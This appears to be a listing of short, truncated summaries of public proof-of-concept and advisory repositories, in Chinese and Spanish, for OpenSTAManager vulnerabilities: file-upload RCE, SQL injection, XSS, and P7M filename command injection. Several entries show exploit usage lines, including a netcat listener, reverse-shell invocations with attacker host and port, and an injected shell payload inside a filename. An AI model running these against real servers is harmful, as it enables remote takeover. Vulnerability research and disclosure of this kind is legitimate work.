OpenSTAManager-RCE-Exploit-CVE-2026-38751

OpenSTAManager RCE 漏洞利用（CVE-2026-38751） 任意文件上传导致远程代码执行 针对 CVE-2026-38751 的全功能概念验证工具，使用 Rust 编写。 警告 ：本工具仅用于授权的安全测试和教育目的 。仅在您拥有或已获得明确许可的系统上使用。 描述 OpenSTAManager ≤ 2.10 存在一个经过身份验证的任意文件上传 漏洞，允许攻击者上传包含 PHP WebShell 的恶意 ZIP 压缩包。此 PoC 可自动化以下流程： 使用有效凭据登录 上传包含 WebShell 的恶意模块 验证漏洞是否存在 交互式 WebShell （命令执行） 反...

CVE-2026-24417

CVE-2026-24417: OpenSTAManager tiene una inyección SQL ciega basada en tiempo con denegación de servicio amplificada Resumen Campo| Detalles ---|--- ID CVE| CVE-2026-24417 Gravedad| ALTA Aviso| Ver aviso Descubierto por| Lukasz Rybak Productos afectados devcode-it/openstamanager versiones: 2.9.8...

CVE-2026-24416

CVE-2026-24416：OpenSTAManager 产品定价模块存在基于时间的盲 SQL 注入漏洞 概述 字段| 详细信息 ---|--- CVE 编号| CVE-2026-24416 严重性| 高危 安全公告| 查看安全公告 发现者| Lukasz Rybak 受影响产品 devcode-it/openstamanager （版本：= 2.9.8） CWE 分类 CWE-89: 未正确中和 SQL 命令中使用的特殊元素（'SQL 注入'） 详细信息 摘要 OpenSTAManager v2.9.8 的产品定价模块中存在严重的基于时间的盲 SQL...

CVE-2026-24415

CVE-2026-24415：OpenSTAManager 在 modificaiva.php 中受 righe 参数影响的 XSS 漏洞 概述 字段| 详情 ---|--- CVE ID| CVE-2026-24415 严重性| 中危 安全公告| 查看公告 发现者| Lukasz Rybak 受影响产品 devcode-it/openstamanager （版本：" $GET'righe' 参数未经任何使用 htmlspecialchars 或等效函数的过滤，被直接输出到 HTML value 属性中。这允许攻击者突破属性上下文并注入任意 HTML/JavaScript。 所有受影响文...

CVE-2026-24419

CVE-2026-24419：OpenSTAManager 的 Prima Nota 模块存在 SQL 注入漏洞 概述 字段| 详情 ---|--- CVE ID| CVE-2026-24419 严重性| 高 安全公告| 查看安全公告 发现者| Lukasz Rybak 受影响产品 devcode-it/openstamanager （版本：fetchOne'SELECT idanagrafica FROM codocumenti WHERE id IN'.$iddocumenti ? implode',', $iddocumenti : 0.'''idanagrafica'; 影响：...

CVE-2026-29782-OpenSTAManager-RCE

CVE-2026-29782 — OpenSTAManager auth-SQLi → inyección de objetos PHP → RCE PoC para ejecución remota de código enOpenSTAManager ≤ 2.10.1. oauth2.php busca una fila zzoauth2 mediante el parámetro GET state controlado por el atacante y llama a unserialize sobre su columna accesstoken sin una...

CVE-2026-24418

CVE-2026-24418：OpenSTAManager 的 Scadenzario 批量操作模块存在 SQL 注入漏洞 概述 字段| 详细信息 ---|--- CVE ID| CVE-2026-24418 严重性| 高 安全公告| 查看公告 发现者| Lukasz Rybak 受影响产品 devcode-it/openstamanager （版本： !empty$value; 影响： 该函数会过滤掉空值，但会接受任何非空值，包括 SQL 注入载荷。 3. SQL 注入点： /modules/scadenzario/bulk.php（第 88 行）主要漏洞...

OpenSTAManager_RCE_Exploit-CVE-2026-38751-

Exploit de RCE en OpenSTAManager CVE-2026-38751 Descripción general Este script de Python explota una vulnerabilidad de ejecución remota de código en OpenSTAManager versión 2.10, identificada como CVE-2026-38751. El exploit permite a usuarios autenticados subir un módulo malicioso y ejecutar...

CVE-2025-69212-PoC

CVE-2025-69212-PoC https://github.com/advisories/GHSA-25fp-8w8p-mx36 OpenSTAManager（版本 使用方法 CVE-2025-69212.py -h -u URL -C COOKIE options: -h, --help show this help message and exit -u, --url URL target url, eg http://127.0.0.1 -C, --cookie COOKIE cookie value...

CVE-2026-24418

CVE-2026-24418 OpenSTAManager = 2.9.8 — Inyección SQL basada en errores en el módulo de operaciones masivas de Scadenzario Resumen Campo| Detalles ---|--- CVE ID| CVE-2026-24418 Gravedad| ALTA 8.8 CWE| CWE-89: Inyección SQL Versiones afectadas| OpenSTAManager = 2.9.8 Parámetro vulnerable| idrecor...

CVE-2025-69212

CVE-2025-69212: OpenSTAManager 在 P7M 文件处理中存在 OS 命令注入 概述 字段| 详情 ---|--- CVE ID| CVE-2025-69212 严重程度| 严重 公告| 查看公告 发现者| Lukasz Rybak 受影响产品 devcode-it/openstamanager 版本: file; // $name 来自用户输入！ 攻击流程： 1. 攻击者创建包含恶意文件名的 ZIP 压缩包 2. 通过...

CVE-2025-69212-PoC

CVE-2025-69212 — OpenSTAManager P7M 命令注入 PoC OpenSTAManager = 2.9.8 — 通过 ZIP 上传中的恶意 .p7m 文件名实现操作系统命令注入 文件： src/Util/XML.php:100 — 未净化的 $file 位于 exec 中 向量： /plugins/importFEZIP/actions.php → ZIP → .p7m 文件名 → exec"openssl smime ... -in "$file" ..." 使用方法 Listener nc -lvnp 4444 Exploit python3...

CVE-2025-69212_PoC

CVE-2025-69212: OpenSTAManager 概念验证（PoC） 本仓库包含一个概念验证（PoC），展示了标识为 CVE-2025-69212 的漏洞，该漏洞存在于 OpenSTAManager 中，是一个由 P7M（签名 XML）文件解码功能引起的操作系统命令注入漏洞。受影响版本为 2.9.8 及更早版本。 描述 CVE-2025-69212 是 OpenSTAManager 中发现的一个安全漏洞。此 PoC 旨在演示该漏洞的机制，用于教育目的、安全研究和补丁验证。 免责声明 !WARNING...

Hack-The-Box-Enigma-Findings-Report

🛡️ Hack The Box - Enigma 发现报告 📋 概述 此仓库包含针对 Hack The Box 机器 Enigma 的全面渗透测试报告。 🔍 主要发现 不安全的 NFS 共享暴露入职文档 - 中等级别 通过未加密电子邮件内容泄露内部凭据 - 中等级别 员工 IMAPS 账户之间重复使用密码 - 高风险级别 OpenSTAManager 经过身份验证的操作系统命令注入 CVE-2025-69212 - 严重级别 Web 应用配置中的明文数据库凭据 - 中等级别 弱用户密码导致离线哈希破解 - 高风险级别 OliveTin 未经身份验证的根自动化 - 参数类型命令注入 -...

CVE-2026-38751-OpenSTAManager-Arbitrary-File-Upload-PoC

CVE-2026-38751 – OpenSTAManager 任意文件上传（PoC） 此仓库包含针对 CVE-2026-38751 的概念验证（PoC）漏洞利用代码，影响 OpenSTAManager ≤ 2.10。 该漏洞允许已认证的攻击者通过模块更新功能上传恶意模块，从而导致任意文件上传和远程代码执行（RCE）。 CVE 参考 MITRE CVE 条目（首次披露记录）： https://vulners.com/cve/CVE-2026-38751 NVD（NIST）漏洞数据库： https://nvd.nist.gov/vuln/detail/CVE-2026-38751 GitH...

CVE-2025-69212

CVE-2025-69212 描述 OpenSTAManager 是一款用于技术支持、电子发票和会计的管理软件解决方案。版本 =2.9.8 存在一个经过身份验证的远程代码执行漏洞。攻击者可以通过上传一个特制的包含 .p7m 文件的 .zip 压缩包来利用此漏洞，该 .p7m 文件的文件名可被解释为 shell 命令，从而导致在远程服务器上执行任意命令。 用法 要求 $ pip install requests 概念验证用法 $ python3 exploit.py -h --user USER --password PASSWORD --target TARGET --cmd CMD 示...

CVE-2025-69212-PoC

CVE-2025-69212 OpenSTAManager = 2.9.8 — P7M 文件处理中的操作系统命令注入 概述 字段| 详情 ---|--- CVE ID| CVE-2025-69212 严重性| 严重（CVSS 4.0：9.4） CWE| CWE-78：操作系统命令注入 受影响版本| OpenSTAManager = 2.9.8 漏洞函数| XML::decodeP7M，位于 src/Util/XML.php 攻击向量| 上传的 ZIP 压缩包中的恶意文件名 身份验证| 需要（任何具有发票导入权限的用户） 影响| 以 Web 服务器用户身份完全远程执行代码 漏洞详情...

CVE-2026-69212

CVE-2025-69212 — OpenSTAManager OS命令注入（远程代码执行） CVE-2025-69212 的概念验证利用程序，该漏洞是OpenSTAManager ;echo ".p7m 产生的 shell 执行： openssl smime ... -in "invoice.p7m";;echo ".p7m" ... ^^^^^^^^^^^^ 此处注入 注意： 正斜杠 / 不能直接出现在文件名中，因为 ZipArchive::extractTo 会将其视为路径分隔符。PoC 通过对反弹 shell 载荷进行base64编码来避免此问题。 环境要求 Python 3.x...

CVE-2026-38751

CVE-2026-38751 — OpenSTAManager 模块上传远程代码执行 通过模块更新端点的未验证ZIP上传实现经过身份验证的远程代码执行。 受影响版本: OpenSTAManager = 2.10.x 环境要求 pip install requests 使用方法 Reverse shell Penelope or any listener python3 exploit.py -u http://TARGET -U admin -P admin --lhost 10.10.14.X --lport 4444 Interactive webshell python3...

CVE-2025-69212-Exploit

CVE-2025-69212 - OpenSTAManager P7M 命令注入漏洞利用工具 针对 CVE-2025-69212 的完全自动化漏洞利用脚本，这是 OpenSTAManager 中的一个命令注入漏洞。该脚本使用管理员凭据进行身份验证，通过 ZIP 压缩包中精心构造的 P7M 文件部署恶意 PHP Webshell，并提供命令执行或反弹 Shell 功能。 功能特性 自动化身份验证。 恶意 ZIP 生成与上传（invoice.p7m 注入）。 Base64 命令封装，避免特殊字符问题。 反弹 Shell 与单命令执行参数。 使用方法 python3 exploit.py -u...